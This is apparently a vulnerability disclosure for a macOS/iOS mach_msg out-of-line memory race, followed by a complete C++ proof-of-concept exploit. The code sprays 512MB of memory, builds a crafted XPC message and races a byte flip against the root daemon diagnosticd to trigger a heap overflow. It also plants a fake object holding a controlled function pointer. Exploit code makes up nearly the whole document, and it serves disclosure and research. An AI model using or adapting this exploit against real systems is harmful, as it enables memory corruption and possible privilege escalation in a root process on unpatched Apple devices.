|
|
/*
| macOS/IOS: mach_msg: doesn't copy memory
|
| When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
|
| Exploitation:
| We need specific code that references the memory twice from |mach_msg|.
| Here's a snippet of such a function |xpc_dictionary_insert|.
|
| v14 = strlen(shared_memory); <<-- 1st
| v15 = _xpc_malloc(v14 + 41);
| ...
| strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
|
| If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
|
| This bug is triggerable from a sandboxed process.
|
| The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
|
| Tested on macOS Sierra 10.12.2(16C67).
|
| clang++ -o poc poc.cc -std=c++11
|
| */
|
| #include <stdint.h>
| #include <stdio.h>
| #include <xpc/xpc.h>
| #include <assert.h>
| #include <iostream>
| #include <CoreFoundation/CoreFoundation.h>
| #include <dlfcn.h>
| #include <mach/mach.h>
| #include <mach-o/dyld_images.h>
| #include <printf.h>
| #include <dispatch/dispatch.h>
|
| #include <vector>
| #include <chrono>
| #include <thread>
|
| struct RaceContext {
| std::vector<uint8_t> payload;
| size_t race_offset;
|
| std::vector<uint8_t> spray;
| size_t spray_size;
| };
|
| xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);
|
| double now() {
| return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
| }
|
| mach_port_t createMemoryEntry(memory_object_size_t size) {
| vm_address_t addr = 0;
| vm_allocate(mach_task_self(), &addr, size, true);
|
| memset((void*)addr, 0, size);
|
| mach_port_t res = 0;
| mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);
|
| vm_deallocate(mach_task_self(), addr, size);
|
| return res;
| }
|
| void sendPayload(const RaceContext* ctx) {
| size_t data_size = ctx->spray_size;
|
| mach_port_t mem_entry = createMemoryEntry(data_size);
|
| uint8_t* data = nullptr;
| vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
|
| memcpy(data, &ctx->payload[0], ctx->payload.size());
|
| for (size_t i = 0x1000; i < data_size; i += 0x1000) {
| memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
| }
|
| for (int32_t i = 0; i < 0x4000; i++) {
| double start = now();
|
| xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
| xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
|
| });
| xpc_connection_resume(client);
| xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
|
| double duration = now() - start;
| printf("duration: %f\n", duration);
|
| if (duration > 2.0) {
| xpc_release(client);
| break;
| }
|
| mach_port_t service_port = ((uint32_t*)client)[15];
|
| void* msg_data = nullptr;
| vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
|
| struct {
| mach_msg_header_t hdr;
| mach_msg_body_t body;
| mach_msg_ool_descriptor_t ool_desc;
| } m = {};
|
| m.hdr.msgh_size = sizeof(m);
| m.hdr.msgh_local_port = MACH_PORT_NULL;
| m.hdr.msgh_remote_port = service_port;
| m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
| m.hdr.msgh_id = 0x10000000;
|
| m.body.msgh_descriptor_count = 1;
|
| m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
| m.ool_desc.address = msg_data;
| m.ool_desc.size = (mach_msg_size_t)data_size;
| m.ool_desc.deallocate = 1;
| m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;
|
| bool stop = true;
| std::thread syncer([&] {
| while (stop);
| xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
| stop = true;
| });
|
| size_t race_offset = ctx->race_offset;
| __uint128_t orig = *(__uint128_t*)&data[race_offset];
| __uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
|
| mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
| stop = false;
| while (!stop) {
| *(__uint128_t*)&data[race_offset] = orig;
| *(__uint128_t*)&data[race_offset] = new_one;
| }
|
| syncer.join();
| *(__uint128_t*)&data[race_offset] = orig;
|
| xpc_release(client);
| }
|
| mach_port_deallocate(mach_task_self(), mem_entry);
| }
|
| const void* memSearch(const void* base, const void* data, size_t size) {
| const uint8_t* p = (const uint8_t*)base;
| for (;;) {
| if (!memcmp(p, data, size))
| return p;
|
| p++;
| }
| }
|
| void* getLibraryAddress(const char* library_name) {
| task_dyld_info_data_t task_dyld_info;
| mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
|
| task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
|
| const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
| const struct dyld_image_info* image_infos = all_image_infos->infoArray;
|
| for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
| const char* image_name = image_infos[i].imageFilePath;
| mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
| if (strstr(image_name, library_name)){
| return (void*)image_load_address;
| }
| }
| return 0;
| }
|
| void initRace(RaceContext* ctx) {
| struct FakeObject {
| void* unk[2];
| void* ref_to_bucket;
| void* padd[0x10];
| struct {
| const void* sel;
| const void* func;
| } bucket;
| };
|
| const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
| const size_t kTagOffset = 0x954;
| const uintptr_t kSprayedAddr = 0x120101010;
|
| //ctx->data.resize(0x10000);
| ctx->payload.resize(0x1000);
| ctx->race_offset = kTagOffset - 0x10;
|
| memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
| *(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;
|
| ctx->spray.resize(0x300);
| ctx->spray_size = 1024 * 1024 * 512;
|
| void* libdispatch = getLibraryAddress("libdispatch.dylib");
|
| FakeObject* predict = (FakeObject*)kSprayedAddr;
| FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
| obj->ref_to_bucket = &predict->bucket;
| obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
| obj->bucket.func = (void*)0x9999;
| }
|
| int32_t main() {
| xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
| xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
|
| });
| xpc_connection_resume(client);
| xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
|
| RaceContext ctx;
| initRace(&ctx);
|
| printf("attach the debugger to diagnosticd\n");
| getchar();
|
| sendPayload(&ctx);
|
| return 0;
| }
|
|